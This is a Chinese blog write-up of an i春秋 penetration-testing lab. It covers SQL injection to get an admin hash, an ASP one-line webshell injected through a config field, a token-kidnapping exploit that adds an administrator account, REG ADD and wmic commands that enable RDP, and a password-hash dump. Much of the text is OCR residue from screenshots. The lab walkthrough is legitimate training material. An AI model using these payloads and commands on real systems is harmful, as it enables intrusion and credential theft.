i春秋_我很简单_解题记录

原创

 Felix_x
 于 2019-09-20 14:50:13 发布
 786
 收藏 2

 分类专栏:
 <u>渗透测试 writeup</u> 文章标签:
 <u>渗透测试</u>

 版权声明:
 本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。

 本文链接:
 <u>https://blog.csdn.net/qq_19980431/article/details/101056195</u>

 版权



2 篇文章 0 订阅 订阅专栏



writeup 4 篇文章 0 订阅 订阅专栏 实验工具: 中国菜刀 Pr 御剑 Pangolin 3389

0x01

拿到靶机环境,根据工具猜想,存在SQL注入漏洞

先用工具扫描一下,打开明小子

工具:旁注WEB综合检测程序Ver3.6修正版 路径:C:\Tools\注入工具\Domain3.6\Domain3.6.exe

sql注入检测一下,顺利爆出管理员用户名和密码

旁注检测 🔍 🋄 综合	合上传 🔍 SQL注入	/ рнг注入 / 🖭]数据库管理		[辅助工具 💐	关于程序
此量扫描注入点	SQL注入猜解检测	MSSQL辅助工具	管理入口扫	苗 检测设	置区 该板块	功能介绍
入点: http://www.	test.ichunqiu/produo	ctshow.asp?id=10			- 开始检测	重新开始
据库:4个	列名:3个	检测结:	果			
dmin Iser Iovie News	✓ username ✓ password ✓ id	位数 第1位	内容 1	排序 usern 1 admi	ame password n 469e80d32c05	l id 559f8 1
						•
						_
添加 猪解表名	添加 猪解	列名	猜解内容		🔹 🗹 自动检道	则下一条记录
) Access 🔘 MSSQL	, 工具 跨库 数据;	,该URL可以注入! 库类型:Access数据	库			_
句执行	提示	1: 所有表名已猜解 2 <u>. 所有列名已</u> 猜解	元毕! 完毕!			
前用户	范围 user	: 共有1条记录! name内容: admin				
前权限	pass id内	word内容:469e80d3 容:1	2c0559f8			

拿去解密一下拿到明文

工具: MD5Cracksp

路径: C:\Tools\破解工具\MD5

≥ ∎D5	
文件(E) 编辑(E) 查看(V)	收藏 🕢 工具 🗊 帮助 🖽 💦 👔
🔾 后退 🔹 🕥 🕤 🏂 🍃	○ 捜索 防 文件夹 🔠 -
地址 @) 🗁 C:\Tools\破解工	【\MD5
文件和文件夹任务	★ MD5Crack2. exe MD5Crack2.3 Exec A!Die Software S ■ MD5pass. dic 文本文档 501 KB
其它位置	*
 □ 破解工具 □ 我的文档 □ 共享文档 ② 我的电脑 ③ 网上邻居 	◆ IDSCrackSp V2.3 (速度增强
二二 四 4 二 二 二 二 二 二 二 二 二 二 二 二 二 二 二 二 二	● 使用字典 ○ 使用字典 ○ 使用字典 ○ C:\Tools\破解工具\MD5\MD5pas: 浏览 字典二 浏览 字典三 浏览 469e80d32c0559f8> [admin888] ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ●

0x02

拿到管理员密码登录后台,盲猜后台地址/admin,盲猜成功,嘻嘻嘻

根据提示需要获取webshell,浏览一下管理员界面

找了一会感觉产品图片可能会有利用,然后做了个图片马,结果发现没有上传入口-.-||

找了半天也没发现别的上传入口,实在不行了。看看题解,原来如此简单

配置网站标题,插入一句话木马:

出	网站信息配置		
ŧ	公司名称:	*%><%Eval Request(Chr(35))%><%]
2	公司名称(英文):	MSCOM 2007	
	网站标题:	魅力软件]
2	网站标题(英文):	MelyySoft]
2	网站地址:	www.melyysoft.com	注意: 城名已经绑定到程序,不能修改,程序购买后?
2	网站备案号:	湘ICP备05011184号	网站备案请到信息产业部官方网站备案。在线备案
2	公司邮局: 请泰写完整UKL 地址	http://mail.163.com]
2	公司论坛: 请添写完整论坛 地址,	http://bbs.melyysoft.com]
	公司博客: 请添写完整博客 地址	http://bbs.melyysoft.com	
Ľ	1000地址:	images/Logo.gif https	//blog.csdn.net/gg_19980431
	计区标句,	weeke .	

具体实现方式为:

解释一下一句话木马 /inc/config.asp的源码是这样的: <% Const SiteName="魅力企业网站管理系统 2007 中英繁商业正式版" (网站名称 Const EnSiteName="MSCOM 2007" (网站名称 Const SiteTitle="魅力软件" '网站标题 Const EnSiteTitle="MelyySoft" (网站标题 Const SiteUrl="www.melyysoft.com" (网站地址 Const Miibeian="湘ICP备05011184号" (网站备案号 %> 构造一句话木马: "%><%Eval Request(Chr(35))%><%' 插入一句话木马后, config.asp代码会变成这样: <% Const SiteName=""%><%Eval Request(Chr(35))%><% '" (网站名称 Const EnSiteName="MSCOM 2007" (网站名称 Const SiteTitle="魅力软件" '网站标题 Const EnSiteTitle="MelyySoft" '网站标题 Const SiteUrl="www.melyysoft.com" (网站地址 Const Miibeian="湘ICP备05011184号" (网站备案号 %>

上菜刀,成功进入

🗁 中国葉刀	T C www.test.	ichungiu +						> = 🗆 🗙
文件(F) 编辑(E) 查看(C:\inetpub\www.oot	\ine\	2			土 🗸 (漢)	取 星期五 2019-0	9-20 八月廿二
😋 后退 • 🕥 - 🤧	172.16.12.2	目录 (0), 文件 (27)	名称	时间	大小	属性	▲ 曰 □ 站点类别	
地址 (1) 🗀 C: \Tools\webs	Si 😔		🗄 ArticleChar.inc	2015-01-23 13:29:00	753	32	默认类:	91
	🖂 🥯 C:		Check_Sql. asp	2015-01-23 13:29:00	2283	32	iypel	
文件和文件夹任务	E		🖬 Cls_main. asp	2015-01-23 13:29:00	4701	32	💿 快捷方式	
其它位置	🗁 inc		🖬 Config. asp	2019-09-20 21:17:01	5759	32		
HOAA	👄 D:		🖬 Conn. asp	2015-01-23 13:29:00	806	32		
webshell	ч ж Б.		📰 Conn_dbFile.Asp	2015-02-09 10:07:45	222	32		
□ 3480×13 ○ 共享文档			🖬 count. asp	2015-01-23 13:29:00	668	32		
□ 八字へ(3) ③ 我的电脑			📓 domenu. js	2015-01-23 13:29:00	34012	32		
🔍 网上邻居			📰 HnCls_main. asp	2015-01-23 13:29:00	4897	32		
			📰 EnFoot. asp	2015-01-23 13:29:00	3128	32		
详细信息			📰 EnSysFreduct. asp	2015-01-23 13:29:00	24929	32		
FI PRIMAP			📰 Foot. asp	2015-01-23 13:29:00	2689	32		
			📰 Function. asp	2015-01-23 13:29:00	23534	32		
			📓 language. js	2015-01-23 13:29:00	8480	32		
			🔜 NdS. esp	2015-01-23 13:29:00	11469	32		
			📰 MelyySoft.Common. asp	2015-01-23 13:29:00	3362	32		
			📰 MelyySoft. BeName. asp	2015-01-23 13:29:00	4623	32		
			📰 MelyySoft. Update. asp	2015-01-23 13:29:00	5173	32		
			🗾 MelyySoft. Version. asp	2015-01-23 13:29:00	429	32		
			📰 SelectDate. asp	2015-01-23 13:29:00	8098	32		
			🖬 Skin CSS esp	2015-01-23 13:29:00	835	32	*	
					b 4	to ov //lol ov	a codo potera	GB2312
	db.1 Nicr 1 Vi	rosoft Office		_	nt	ths://pioé	g.csan.net/qq_	_19980431

配置文件路径就是shell路径,刚才在修改网站信息的时候配置文件路径可以看见

0x03

想要知道管理员密码有很多工具,但是现在写需要权限运行,所以,要提权

	🔟 🔟 🔤 www.test.ichunqiu 🔁 www.test.ichunqiu 🕂
- 査:	
	[*] 基本信息 [A.C:D.E:]
ls\we	e:\inetpub\www.cot\ine\> netztat -an find "ESTABLISHED" [Err] 拒绝访问。
<u>i</u> \$	c:\instpub\wwwroot\inc\> c:\instpub\wwwroot\inc\> not uzer monster 123/add [Brr] 拒绝协词。
	e:\inetpub\wwwroot\ine\>
	https://blog.csdn.net/qq_19980431

嘻嘻嘻, 拒绝访问

那就自己上传点好东西

🔲 🔝 www.test.ichungiu 🔂 www.test	. ichunqiu 🔚 www. test. ichunqiu 🕂				> = 🗖
C:\RECYCLER\			±	读取	星期五 2019-09-20 八月廿二
172.16.12.2 目录(1), 文件(3)	名称	时间	大小	属性	🗆 🖂 站点类别
🦇 A:	C S-1-5-21-3513527447-750782072-34079162	2015-01-23 17:05:36	0	22	默认类别 Trmo1
🖃 🥯 C:	🛅 32读取管理员密码. exe	2019-09-20 21:33:40	49152	32	○ 日程提醒
Documents and Settings	cmd. exe	2019-09-20 21:33:31	100864	32	快捷方式
🚞 Program Files	T PR. exe	2019-09-20 21:32:08	231164	32	□□ 上传下载
]				
System Volume Information					
E INTERNATION CONTRACTOR ■ INTERNATION	\sim				
🖃 🧰 wmpub					
i wmiislog					
↔ B. ≪ E:					
•					
					olog.csdn.nei/qq_19980434 GB2

打开虚拟终端切换至目标目录,用pr.exe执行cmd命令,添加账户; pr "net user qwer 123 /add",添加成功

🔟 🔲 🕿 www. test. i chunqiu 🗎 🖆 www. test. i chunqiu 🖛 www. test. i chunqiu +	
找不到用户名。	▲ □
请键入 NET HELPMSG 2221 以获得更多的帮助。	
C:\RECYCLER\> pr "net user asd asd /add" /Churraskito/>This exploit gives you a Local System shell /Churraskito/>Got WMI process Pid: 3064 /Churraskito/>Found token SYSTEM /Churraskito/>Running command	
命令成功完成。	
C:\RECYCLER\> pr "net user qwer 123 /add" /Churraskito/>This exploit gives you a Local System shell /Churraskito/>Got WMI process Pid: 3064 /Churraskito/>Found token SYSTEM /Churraskito/>Running command	
命令成功完成。	
C:\RECYCLER\> pr "net user" /Churraskito/>This exploit gives you a Local System shell /Churraskito/>Got WMI process Pid: 3064 /Churraskito/>Running command /Churraskito/>Running command	
\\ 的用户帐户	
Administrator asd ASPNET Tuest IUSR_ADMIN-508BF95B0 IWAM_ADMIN-508BF95B0 Wer SUPPORT_388945a0 命令运行完毕,但发生一个或多个错误。	
a. I prover pp ()	
C:\KECYCLER\>	*
h the second	

提权:

pr "net localgroup administrators qwer /add"成功提权

/Churraskito/>Found token SYSTI /Churraskito/>Running command	日間				
\\ 的用户帐户					
Administrator asd Guest IUSR_ADM gwer SUPPORT 命令运行完毕,但发生一个或多个错行	MIN-508BF95B0 388945a0 美。	ASPNET IWAM_ADMIN-508BF	F95B0		
C:\RECYCLER\> pr "net localgroup /Thurraskito/>This exploit giv /Thurraskito/>Got WMI process J /Thurraskito/>Found token SYSTI /Thurraskito/>Running command 计令成功完成。	Administrators o es you a Local Sy Pid: 3064 EM	gwer ∕add″ ystem shell			
1:\RECYCLER\> pr "net localgroup /Churraskito/>This exploit give /Churraskito/>Got WMI process l /Churraskito/>Found token SYSTI /Churraskito/>Running command 刘名 Administrators 注释 管理员对计算机/域有不受M	Administrators" es you a Local Sy Pid: 3064 EM 限制的完全访问权	ystem shell			
成页 /dministrator wer 讣令成功完成。				h ttoo //let e e	
				nups://biog.csan	.nevqq_19980431

然后打开3389端口远程连接

打开3389端口的方式有两种

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

这里把第一条命令写成bat文件,上传后用pr执行一下,执行成功



0x04

远程桌面连接之后,下一步要获取管理员口令

上传工具getpass,结果只能爆出当前登录管理员口令,虽然是明文的。。。

再试试QuarksPwDump,成功

QuarksPwDump -- dump-hash-local



解密一下拿到flag

参考博文: 开启 3389 的 cmd 命令

[在线挑战] i春秋实验《我很简单,请不要欺负我》实验详细攻略